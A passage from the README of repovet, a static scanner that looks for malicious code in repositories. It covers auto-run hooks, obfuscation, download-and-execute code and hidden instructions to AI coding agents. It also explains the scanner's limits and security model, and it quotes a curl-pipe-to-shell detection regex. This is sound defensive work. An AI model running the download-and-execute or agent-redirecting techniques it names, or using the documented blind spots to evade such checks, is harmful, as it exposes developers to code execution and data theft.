opened or used with the tool concerned (a VS Code task on folder open that downloads code,
a Git `core.fsmonitor` command, agent settings that redirect API traffic, a file name that
reverses its extension). `high` means code runs during normal use (install, build,
starting an agent) or something is clearly disguised but still has to be opened.

[RULES.md](https://github.com/m3xXmo0/repovet/blob/main/RULES.md) lists every rule with
its ID, severity and description; it is generated from the YAML rules in
`src/repovet/rules/`. `repovet rules list` shows the same list in the terminal (`--area`
to pick one area). The rules are grouped in these areas:

| Area | IDs | Looks for |
|------|-----|-----------|
| `autorun` | `RC-AUTO` | code that runs on install, build, opening the folder or a double-click (npm, Python builds, VS Code, dev containers, Git hooks and config, Makefiles, Windows, macOS and Linux shell files, GitHub Actions, MSBuild) |
| `agents` | `RC-AGENT` | instructions and settings for AI coding agents: hidden text, plain-text instructions to run commands or send data away, broad permissions, hooks, MCP servers, imports of secrets |
| `obfuscation` | `RC-OBF` | encoded or packed code (also split into several strings), invisible characters and look-alike letters in source |
| `download_exec` | `RC-DLX` | code that downloads and runs more code, also through a variable or a command substitution |
| `binaries` | `RC-BIN` | programs, archives, disguised files and file-system tricks |
| `dependencies` | `RC-DEP` | typosquatted names and unusual package sources |
| `provenance` | `RC-PROV` | indicators from languages, structure and Git history |
| `trust` | `RC-TRUST` | indicators from the GitHub API (owner, stars, activity, copies) |

Rules are data, not code: each one is a YAML entry with an ID, severity, confidence, file
patterns, a check, and texts for message, reason and recommendation. Rule IDs are never
renamed or reused.

**Chains** (`RC-AUTO-090`): when a VS Code task that runs on folder open, a dev container
command or an npm install script starts a file of the repository (`./setup.sh`,
`node tools/x.js`, `make setup`, `npm run x`), repovet follows it for up to two files and
checks every file it reaches with the download and obfuscation rules, also files those
rules would otherwise skip. If the path reaches dangerous code, one finding reports the
whole path. Download-and-execute code reached this way gets at least the severity the
entry point's own rule gives the same code written inline (on folder open: critical).
Only paths inside the repository are followed: never absolute paths, vendored folders or
links.

Two details that keep false alarms down without hiding anything:

- **Agent skills** (`SKILL.md`) count as files agents load only in the folders the agents
  load them from, such as `.claude/skills` (Claude Code, also in subfolders),
  `.agents/skills` (Codex, Cursor, GitHub Copilot, OpenCode and others), `.github/skills`
  (Copilot) and `.cursor/skills`. The full list per tool, with links to each tool's
  documentation, is in
  [docs/agent-skills.md](https://github.com/m3xXmo0/repovet/blob/main/docs/agent-skills.md).
  Other `SKILL.md` files (test fixtures, plugin folders) are still checked for hidden
  text and dangerous instructions and appear in the provenance profile.
- A download-and-execute or decode-and-execute match that is clearly a **regular
  expression inside a string** (security tools ship the patterns they look for, such as
  `r"curl\s+[^|]*\|\s*sh"`) is reported with confidence `low` instead of being dropped.

## Limits: what is not checked

**"No findings" does not mean "safe".** It only means that none of the rules matched in
the part of the repository that was checked. repovet looks for known patterns with few
false alarms; an attacker who knows the rules can avoid them.

Not checked today:

- **Trust** needs the GitHub API: with `--offline`, for a folder without a GitHub remote,
  or when the API cannot be reached or its rate limit is used up, the report lists it
  under "Not checked" (the scan itself continues).
- **Provenance profile:** languages are recognized by file extension or name only, and
  licenses by distinctive phrases of common license texts; neither is a code or legal
  review. A local folder's `.git` folder is not part of the profile.
- **Git history** is read only from a URL clone or a local `.git` folder that has no
  links, no alternates and no `commondir` (otherwise it is listed under "Not checked"); at
  most 100,000 commits. Commit dates, authors and trailers are free text chosen by whoever
  commits, so all history facts are indicators. AI indicators only show that a tool was
  named, not who or what wrote the code. SHA-256 repositories and reftable refs are not
  supported.
- **Dependencies** are checked by name and declared source only, offline: names are
  compared with lists of the most downloaded PyPI and npm packages shipped with repovet
  (see `src/repovet/data/SOURCES.md`). The code and install scripts of dependencies, known
  vulnerabilities and transitive dependencies are not checked; Rust, Go, Ruby, PHP and
  Java dependencies are not checked at all.
- **Binary files** are recognized by their signature only: archives are not unpacked,
  programs and documents are not analyzed. Content of Git submodules and Git LFS objects is
  not checked; both are listed under "Not checked".
- **Obfuscation and download-and-execute** are only checked in source and script files
  (not in Markdown, JSON or notebooks; decode-and-run pipelines also in autotools files),
  not in test modules (`test_*.py`, `*.test.ts`,
  `testdata/`, `fixtures/`, ...) and, for the noisier rules, not in build output (`dist/`,
  `build/`, `*.min.js`, ...). Code in comment lines is ignored. A download kept in a
  variable is recognized when it is run within the next five lines; across files only
  through a chain from an auto-run entry point (at most two files). Encoded strings split
  into parts are recognized only when the parts are constants of the same file. Strings
  assembled at run time (host names, flags kept in variables) are not reconstructed.
- **Auto-run surfaces that are recognized but not analyzed:** Maven, `go:generate`, CMake,
  JetBrains `.idea/` settings. Others are only partly checked: GitHub Actions workflows for
  `pull_request_target` checkouts, untrusted event text in scripts, encoded commands and
  secrets sent to request catchers, MSBuild files for `Exec`, build events, `DownloadFile`
  and inline tasks, Rust `build.rs` for network access, Composer for install
  hooks and downloads, Gradle for external commands, downloads and the wrapper URL, Ruby
  gemspecs, Rakefiles and Gemfiles for native extensions and downloads. If present, they
  are listed under "Not checked".
- **URL targets:** only public repositories on `https://github.com/<owner>/<repo>`; other
  hosts and SSH, `git://` or `file://` URLs are rejected. Git submodules are listed, never
  fetched. The default limits are 500 MB download and 300 seconds.
- **Skipped files:** files larger than `--max-file-size` (default 2 MB), environment and
  tool cache folders unless `--include-env-dirs` is given, symlinks and junctions (listed,
  never followed), files that cannot be read or parsed. All of them appear under "Not
  checked".
- **Line numbers** in JSON, TOML and YAML files are best effort.
- **Plain-text instructions** in agent files are matched by combinations of words in one
  sentence (run a command, send data to an address, keep it from the user), not by
  understanding the text; reworded instructions can slip through, and quoted examples are
  reported as low.
- **Out of scope by design:** running, sandboxing or dynamic analysis of repository code;
  known vulnerabilities (CVE) in dependencies (use pip-audit, npm audit or OSV-Scanner);
  leaked secrets; antivirus signatures; a total score or a safe/unsafe verdict.

Read the "Not checked" section of every report. Gaps in coverage do not change the exit
code.

## Security model

- **Nothing from the checked repository is executed:** no scripts, hooks, builds, package
  managers or imports. Python files are only parsed with `ast.parse`; YAML is only read
  with a safe loader with size and alias limits. Ruff rules (`banned-api`, flake8-bandit)
  and a self-check test forbid `subprocess`, `os.system`, `eval`, `exec`, `pickle` and
  similar in repovet's own code.
- **Offline analysis:** the analysis of files and history makes no network connections.
  There are only two: for a URL target the HTTPS download from github.com (TLS verified, no
  Git configuration, credential helpers or stored passwords are used), and for the trust
  area HTTPS requests to `api.github.com` only (no other host, no redirect elsewhere, at
  most 1 MiB per answer, a fixed request budget per scan). `--offline` switches the API
  off; a local folder with `--offline` makes no connection at all. The test suite blocks
  sockets to make sure of that; API tests use recorded answers, and the clone tests use a
  local Git server on 127.0.0.1 only.
- **Read-only:** files are only opened for reading; nothing in the checked folder is
  changed. Symlinks, junctions and reparse points are not followed. Inside `.git/`, only
  `config`, `hooks/*` and `info/attributes` are read, as plain files.
- **No `git` binary:** repovet never calls `git`, so Git configuration in the checked
  repository (for example `core.fsmonitor`, filters or pagers) can never run. GitHub URLs
  are fetched with [dulwich](https://www.dulwich.io/), a pure-Python Git implementation:
  only the pack file is downloaded into a fresh temporary folder (no working tree, refs,
  hooks, submodules, LFS or filters), and files are read from the Git objects in memory.
  Object sizes are checked before anything is unpacked, so a small download cannot inflate
  into gigabytes. The folder is deleted after the scan.

- **`repovet clone` writes only what was checked:** the working tree comes from the Git
  objects of the scan (no second download), every path is validated before the first
  file is written (no `.git` in any spelling, no `..`, no absolute paths, Windows device
  names, alternate data streams or case collisions; one bad path stops the whole clone),
  files are created new and never through a link, symbolic links and submodules are not
  created, and no hooks, filters or LFS run. The `.git` folder gets a fixed, minimal
  configuration and no hooks. A partly written clone is removed on any error.

Found a way to break one of these guarantees? Please report it privately, as described in
[SECURITY.md](https://github.com/m3xXmo0/repovet/blob/main/SECURITY.md).

## Exit codes

The exit codes are a stable interface for scripts and CI:

| Code | Meaning                                                                         |
|------|---------------------------------------------------------------------------------|
| 0    | No findings at or above `--fail-on` (this does not mean the repository is safe) |
| 1    | At least one finding at or above `--fail-on`                                     |
| 2    | Usage error: invalid arguments, target not found, invalid rules file, unsupported URL |
| 3    | Analysis aborted: download failed or hit a limit, internal error, interruption; for `clone` also a path that may not be written or a write error |

`repovet clone` returns the result of its check (0 or 1) whether or not it cloned; a
declined clone returns 0 without and 1 with findings at or above `--fail-on`. Without a
terminal, 1 always means that nothing was cloned. The menu returns the result of the
last check (0 without one) and 3 on Ctrl+C.

## Development

```
uv sync                      # create .venv with the pinned dev tools
uv run pytest                # all tests
uv run mypy src tests scripts  # strict type check
uv run ruff check            # lint, including security rules
uv run ruff format --check   # formatting
```

All four must pass before a change is done. `uv run pytest -m "not slow"` skips the
performance test (10,000 generated files).

Every rule has at least one positive and one harmless test case in
`tests/rule_cases/*.yaml`; a meta test fails otherwise. Test fixtures are written to a
temporary folder only during the test, and every regular expression is tested against
pathological inputs (ReDoS).

After changing rules, regenerate the tables in
[RULES.md](https://github.com/m3xXmo0/repovet/blob/main/RULES.md) with
`uv run repovet rules list --markdown` and paste them between the `rules-table` markers;
`tests/test_readme.py` checks it.

**False-positive corpus:** `tests/corpus/corpus.yaml` lists real open-source repositories
pinned to a commit (each one can also be checked by URL, see the corpus README).
`tests/test_corpus.py` scans each and fails on high or critical findings that are not
explicitly accepted. Tests never download anything, so the test is skipped unless
`REPOVET_CORPUS_DIR` points to the extracted repositories. See
[tests/corpus/README.md](https://github.com/m3xXmo0/repovet/blob/main/tests/corpus/README.md)
for downloading and running it:

```
# Bash
REPOVET_CORPUS_DIR=/path/to/corpus uv run pytest -m corpus

# PowerShell
$env:REPOVET_CORPUS_DIR = "C:\path\to\corpus"; uv run pytest -m corpus
```

**Reconstructions of documented attacks:** `tests/reconstructions/` rebuilds the shape
of publicly documented incidents and techniques (event-stream, xz-utils, tj-actions,
Shai-Hulud, malicious VS Code tasks, hidden instructions in agent files, ...) as inert
inline fixtures, each with its sources, the rules that must fire, the rules that must not,
and known gaps. `tests/test_reconstructions.py` scans every one offline;
`uv run python scripts/reconstructions.py` prints an overview.

To compare findings between versions, `scripts/corpus_counts.py` scans every corpus
repository by URL at its pinned commit (offline, no API) and every reconstruction, prints
the findings per rule and lists what changed against the committed baseline
`scripts/corpus-baseline.json` (`--offline-only`: reconstructions only, no network;
`--update-baseline` rewrites it). `--save counts.json` and `--compare counts.json` compare
two arbitrary runs. `scripts/fp_benchmark.py -n 50` scans the most-starred public
repositories and writes [docs/fp-benchmark.md](https://github.com/m3xXmo0/repovet/blob/main/docs/fp-benchmark.md).
Both need the network and are not part of the tests.

**Self-scan:** the workflow `.github/workflows/self-scan.yml` scans this repository with
repovet from source, uploads the SARIF report to code scanning, and fails on findings
that are not in `tests/self-scan-baseline.json` (this repository contains detection
patterns and test data on purpose). `scripts/self_scan.py REPORT --update` rewrites the
baseline.

`docs/social-preview.png` (the picture GitHub shows when the repository is shared) is
generated with `uv run --group docs python scripts/social_preview.py`; Pillow is only in
that optional group.

Contributions are welcome; see
[CONTRIBUTING.md](https://github.com/m3xXmo0/repovet/blob/main/CONTRIBUTING.md) for how to
add a rule with its rule cases, and the
[code of conduct](https://github.com/m3xXmo0/repovet/blob/main/CODE_OF_CONDUCT.md).

## Roadmap

Changes per version are listed in
[CHANGELOG.md](https://github.com/m3xXmo0/repovet/blob/main/CHANGELOG.md). Possible next
steps, without dates: Maven (`pom.xml`), Python 3.14 in CI, and an optional online lookup
of known malicious packages.

## License

MIT, see [LICENSE](https://github.com/m3xXmo0/repovet/blob/main/LICENSE). Copyright (c)
2026 m3xXmo0.

repovet ships two lists of package names as data (see `src/repovet/data/SOURCES.md`): the
most downloaded PyPI projects from "top-pypi-packages" by Hugo van Kemenade (CC BY 4.0),
and the most downloaded npm packages from npm-high-impact by Titus Wormer (MIT).
